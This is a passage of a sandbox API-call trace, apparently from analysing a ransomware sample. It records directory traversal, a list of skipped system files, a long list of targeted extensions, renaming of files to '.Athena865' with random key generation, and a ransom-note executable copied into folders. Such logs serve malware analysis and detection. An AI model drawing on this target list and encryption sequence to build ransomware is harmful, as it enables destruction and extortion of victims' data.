dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="windows") returned -1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="bootmgr") returned 1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="temp") returned -1 [0065.063] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="pagefile.sys") returned -1 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="boot") returned 1 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ids.txt") returned 1 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ntuser.dat") returned -1 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="perflogs") returned -1 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="MSBuild") returned -1 [0065.064] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0065.064] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsprofilerui.dll.mui" | out: lpString1="jsprofilerui.dll.mui") returned="jsprofilerui.dll.mui" [0065.064] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0065.064] lstrlenW (lpString="Athena865") returned 9 [0065.064] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0065.064] lstrlenW (lpString=".dll") returned 4 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".dll") returned 1 [0065.064] lstrlenW (lpString=".lnk") returned 4 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".lnk") returned 1 [0065.064] lstrlenW (lpString=".ini") returned 4 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".ini") returned 1 [0065.064] lstrlenW (lpString=".sys") returned 4 [0065.064] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".sys") returned 1 [0065.064] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0065.064] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865") returned 71 [0065.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0065.066] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.066] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7168) returned 1 [0065.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.067] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.067] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.067] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f00, lpName=0x0) returned 0x154 [0065.071] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f00) returned 0x100000 [0065.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.073] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.073] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.073] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.073] CloseHandle (hObject=0x154) returned 1 [0065.073] CloseHandle (hObject=0x17c) returned 1 [0065.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.074] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0065.074] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0065.074] ReleaseMutex (hMutex=0xec) returned 1 [0065.074] CloseHandle (hObject=0xec) returned 1 [0065.074] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP") returned="C:\\Program Files\\Internet Explorer\\SIGNUP" [0065.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528f50 | out: hHeap=0x4f0000) returned 1 [0065.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f718 | out: hHeap=0x4f0000) returned 1 [0065.074] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP") returned 41 [0065.074] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\932F2FD8E7A0E74C5D64C16FBAAAD744") returned 0xec [0065.074] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0065.074] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer\\SIGNUP" | out: lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP") returned="C:\\Program Files\\Internet Explorer\\SIGNUP" [0065.074] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0065.074] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 0 [0065.075] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\signup\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0065.075] GetLastError () returned 0x0 [0065.075] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0065.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0065.075] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0065.076] CloseHandle (hObject=0xf4) returned 1 [0065.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0065.076] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0065.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe81a9e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe81a9e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0065.076] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.076] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.076] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.076] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe81a9e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe81a9e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.076] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.077] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.077] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.077] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe81a9e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe81a9e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0065.077] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0065.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2=".") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="..") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="windows") returned -1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="bootmgr") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="temp") returned -1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="pagefile.sys") returned -1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="boot") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="ids.txt") returned 1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="ntuser.dat") returned -1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="perflogs") returned -1 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2="MSBuild") returned -1 [0065.077] lstrlenW (lpString="install.ins") returned 11 [0065.077] lstrcpyW (in: lpString1=0x241e89c, lpString2="install.ins" | out: lpString1="install.ins") returned="install.ins" [0065.077] lstrlenW (lpString="install.ins") returned 11 [0065.077] lstrlenW (lpString="Athena865") returned 9 [0065.077] lstrcmpiW (lpString1="stall.ins", lpString2="Athena865") returned 1 [0065.077] lstrlenW (lpString=".dll") returned 4 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2=".dll") returned 1 [0065.077] lstrlenW (lpString=".lnk") returned 4 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2=".lnk") returned 1 [0065.077] lstrlenW (lpString=".ini") returned 4 [0065.077] lstrcmpiW (lpString1="install.ins", lpString2=".ini") returned 1 [0065.077] lstrlenW (lpString=".sys") returned 4 [0065.078] lstrcmpiW (lpString1="install.ins", lpString2=".sys") returned 1 [0065.078] lstrlenW (lpString="install.ins") returned 11 [0065.078] lstrlenW (lpString="bak") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="bak") returned 1 [0065.078] lstrlenW (lpString="ba_") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="ba_") returned 1 [0065.078] lstrlenW (lpString="dbb") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="dbb") returned 1 [0065.078] lstrlenW (lpString="vmdk") returned 4 [0065.078] lstrcmpiW (lpString1=".ins", lpString2="vmdk") returned -1 [0065.078] lstrlenW (lpString="rar") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="rar") returned -1 [0065.078] lstrlenW (lpString="zip") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="zip") returned -1 [0065.078] lstrlenW (lpString="tgz") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="tgz") returned -1 [0065.078] lstrlenW (lpString="vbox") returned 4 [0065.078] lstrcmpiW (lpString1=".ins", lpString2="vbox") returned -1 [0065.078] lstrlenW (lpString="vdi") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="vdi") returned -1 [0065.078] lstrlenW (lpString="vhd") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="vhd") returned -1 [0065.078] lstrlenW (lpString="vhdx") returned 4 [0065.078] lstrcmpiW (lpString1=".ins", lpString2="vhdx") returned -1 [0065.078] lstrlenW (lpString="avhd") returned 4 [0065.078] lstrcmpiW (lpString1=".ins", lpString2="avhd") returned -1 [0065.078] lstrlenW (lpString="db") returned 2 [0065.078] lstrcmpiW (lpString1="ns", lpString2="db") returned 1 [0065.078] lstrlenW (lpString="db2") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="db2") returned 1 [0065.078] lstrlenW (lpString="db3") returned 3 [0065.078] lstrcmpiW (lpString1="ins", lpString2="db3") returned 1 [0065.079] lstrlenW (lpString="dbf") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="dbf") returned 1 [0065.079] lstrlenW (lpString="mdf") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="mdf") returned -1 [0065.079] lstrlenW (lpString="mdb") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="mdb") returned -1 [0065.079] lstrlenW (lpString="sql") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="sql") returned -1 [0065.079] lstrlenW (lpString="sqlite") returned 6 [0065.079] lstrcmpiW (lpString1="ll.ins", lpString2="sqlite") returned -1 [0065.079] lstrlenW (lpString="sqlite3") returned 7 [0065.079] lstrcmpiW (lpString1="all.ins", lpString2="sqlite3") returned -1 [0065.079] lstrlenW (lpString="sqlitedb") returned 8 [0065.079] lstrcmpiW (lpString1="tall.ins", lpString2="sqlitedb") returned 1 [0065.079] lstrlenW (lpString="xml") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="xml") returned -1 [0065.079] lstrlenW (lpString="$er") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="$er") returned 1 [0065.079] lstrlenW (lpString="4dd") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="4dd") returned 1 [0065.079] lstrlenW (lpString="4dl") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="4dl") returned 1 [0065.079] lstrlenW (lpString="^^^") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="^^^") returned 1 [0065.079] lstrlenW (lpString="abs") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="abs") returned 1 [0065.079] lstrlenW (lpString="abx") returned 3 [0065.079] lstrcmpiW (lpString1="ins", lpString2="abx") returned 1 [0065.079] lstrlenW (lpString="accdb") returned 5 [0065.079] lstrcmpiW (lpString1="l.ins", lpString2="accdb") returned 1 [0065.079] lstrlenW (lpString="accdc") returned 5 [0065.079] lstrcmpiW (lpString1="l.ins", lpString2="accdc") returned 1 [0065.080] lstrlenW (lpString="accde") returned 5 [0065.080] lstrcmpiW (lpString1="l.ins", lpString2="accde") returned 1 [0065.080] lstrlenW (lpString="accdr") returned 5 [0065.080] lstrcmpiW (lpString1="l.ins", lpString2="accdr") returned 1 [0065.080] lstrlenW (lpString="accdt") returned 5 [0065.080] lstrcmpiW (lpString1="l.ins", lpString2="accdt") returned 1 [0065.080] lstrlenW (lpString="accdw") returned 5 [0065.080] lstrcmpiW (lpString1="l.ins", lpString2="accdw") returned 1 [0065.080] lstrlenW (lpString="accft") returned 5 [0065.080] lstrcmpiW (lpString1="l.ins", lpString2="accft") returned 1 [0065.080] lstrlenW (lpString="adb") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="adb") returned 1 [0065.080] lstrlenW (lpString="adb") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="adb") returned 1 [0065.080] lstrlenW (lpString="ade") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="ade") returned 1 [0065.080] lstrlenW (lpString="adf") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="adf") returned 1 [0065.080] lstrlenW (lpString="adn") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="adn") returned 1 [0065.080] lstrlenW (lpString="adp") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="adp") returned 1 [0065.080] lstrlenW (lpString="alf") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="alf") returned 1 [0065.080] lstrlenW (lpString="ask") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="ask") returned 1 [0065.080] lstrlenW (lpString="btr") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="btr") returned 1 [0065.080] lstrlenW (lpString="cat") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="cat") returned 1 [0065.080] lstrlenW (lpString="cdb") returned 3 [0065.080] lstrcmpiW (lpString1="ins", lpString2="cdb") returned 1 [0065.081] lstrlenW (lpString="ckp") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="ckp") returned 1 [0065.081] lstrlenW (lpString="cma") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="cma") returned 1 [0065.081] lstrlenW (lpString="cpd") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="cpd") returned 1 [0065.081] lstrlenW (lpString="dacpac") returned 6 [0065.081] lstrcmpiW (lpString1="ll.ins", lpString2="dacpac") returned 1 [0065.081] lstrlenW (lpString="dad") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dad") returned 1 [0065.081] lstrlenW (lpString="dadiagrams") returned 10 [0065.081] lstrcmpiW (lpString1="nstall.ins", lpString2="dadiagrams") returned 1 [0065.081] lstrlenW (lpString="daschema") returned 8 [0065.081] lstrcmpiW (lpString1="tall.ins", lpString2="daschema") returned 1 [0065.081] lstrlenW (lpString="db-journal") returned 10 [0065.081] lstrcmpiW (lpString1="nstall.ins", lpString2="db-journal") returned 1 [0065.081] lstrlenW (lpString="db-shm") returned 6 [0065.081] lstrcmpiW (lpString1="ll.ins", lpString2="db-shm") returned 1 [0065.081] lstrlenW (lpString="db-wal") returned 6 [0065.081] lstrcmpiW (lpString1="ll.ins", lpString2="db-wal") returned 1 [0065.081] lstrlenW (lpString="dbc") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dbc") returned 1 [0065.081] lstrlenW (lpString="dbs") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dbs") returned 1 [0065.081] lstrlenW (lpString="dbt") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dbt") returned 1 [0065.081] lstrlenW (lpString="dbv") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dbv") returned 1 [0065.081] lstrlenW (lpString="dbx") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dbx") returned 1 [0065.081] lstrlenW (lpString="dcb") returned 3 [0065.081] lstrcmpiW (lpString1="ins", lpString2="dcb") returned 1 [0065.081] lstrlenW (lpString="dct") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dct") returned 1 [0065.082] lstrlenW (lpString="dcx") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dcx") returned 1 [0065.082] lstrlenW (lpString="ddl") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="ddl") returned 1 [0065.082] lstrlenW (lpString="dlis") returned 4 [0065.082] lstrcmpiW (lpString1=".ins", lpString2="dlis") returned -1 [0065.082] lstrlenW (lpString="dp1") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dp1") returned 1 [0065.082] lstrlenW (lpString="dqy") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dqy") returned 1 [0065.082] lstrlenW (lpString="dsk") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dsk") returned 1 [0065.082] lstrlenW (lpString="dsn") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dsn") returned 1 [0065.082] lstrlenW (lpString="dtsx") returned 4 [0065.082] lstrcmpiW (lpString1=".ins", lpString2="dtsx") returned -1 [0065.082] lstrlenW (lpString="dxl") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="dxl") returned 1 [0065.082] lstrlenW (lpString="eco") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="eco") returned 1 [0065.082] lstrlenW (lpString="ecx") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="ecx") returned 1 [0065.082] lstrlenW (lpString="edb") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="edb") returned 1 [0065.082] lstrlenW (lpString="epim") returned 4 [0065.082] lstrcmpiW (lpString1=".ins", lpString2="epim") returned -1 [0065.082] lstrlenW (lpString="fcd") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="fcd") returned 1 [0065.082] lstrlenW (lpString="fdb") returned 3 [0065.082] lstrcmpiW (lpString1="ins", lpString2="fdb") returned 1 [0065.082] lstrlenW (lpString="fic") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fic") returned 1 [0065.083] lstrlenW (lpString="flexolibrary") returned 12 [0065.083] lstrlenW (lpString="fm5") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fm5") returned 1 [0065.083] lstrlenW (lpString="fmp") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fmp") returned 1 [0065.083] lstrlenW (lpString="fmp12") returned 5 [0065.083] lstrcmpiW (lpString1="l.ins", lpString2="fmp12") returned 1 [0065.083] lstrlenW (lpString="fmpsl") returned 5 [0065.083] lstrcmpiW (lpString1="l.ins", lpString2="fmpsl") returned 1 [0065.083] lstrlenW (lpString="fol") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fol") returned 1 [0065.083] lstrlenW (lpString="fp3") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fp3") returned 1 [0065.083] lstrlenW (lpString="fp4") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fp4") returned 1 [0065.083] lstrlenW (lpString="fp5") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fp5") returned 1 [0065.083] lstrlenW (lpString="fp7") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fp7") returned 1 [0065.083] lstrlenW (lpString="fpt") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="fpt") returned 1 [0065.083] lstrlenW (lpString="frm") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="frm") returned 1 [0065.083] lstrlenW (lpString="gdb") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="gdb") returned 1 [0065.083] lstrlenW (lpString="gdb") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="gdb") returned 1 [0065.083] lstrlenW (lpString="grdb") returned 4 [0065.083] lstrcmpiW (lpString1=".ins", lpString2="grdb") returned -1 [0065.083] lstrlenW (lpString="gwi") returned 3 [0065.083] lstrcmpiW (lpString1="ins", lpString2="gwi") returned 1 [0065.084] lstrlenW (lpString="hdb") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="hdb") returned 1 [0065.084] lstrlenW (lpString="his") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="his") returned 1 [0065.084] lstrlenW (lpString="ib") returned 2 [0065.084] lstrcmpiW (lpString1="ns", lpString2="ib") returned 1 [0065.084] lstrlenW (lpString="idb") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="idb") returned 1 [0065.084] lstrlenW (lpString="ihx") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="ihx") returned 1 [0065.084] lstrlenW (lpString="itdb") returned 4 [0065.084] lstrcmpiW (lpString1=".ins", lpString2="itdb") returned -1 [0065.084] lstrlenW (lpString="itw") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="itw") returned -1 [0065.084] lstrlenW (lpString="jet") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="jet") returned -1 [0065.084] lstrlenW (lpString="jtx") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="jtx") returned -1 [0065.084] lstrlenW (lpString="kdb") returned 3 [0065.084] lstrcmpiW (lpString1="ins", lpString2="kdb") returned -1 [0065.084] lstrlenW (lpString="kexi") returned 4 [0065.084] lstrcmpiW (lpString1=".ins", lpString2="kexi") returned -1 [0065.084] lstrlenW (lpString="kexic") returned 5 [0065.084] lstrcmpiW (lpString1="l.ins", lpString2="kexic") returned 1 [0065.084] lstrlenW (lpString="kexis") returned 5 [0065.084] lstrcmpiW (lpString1="l.ins", lpString2="kexis") returned 1 [0065.084] lstrlenW (lpString="lgc") returned 3 [0065.084] lstrcmpiW 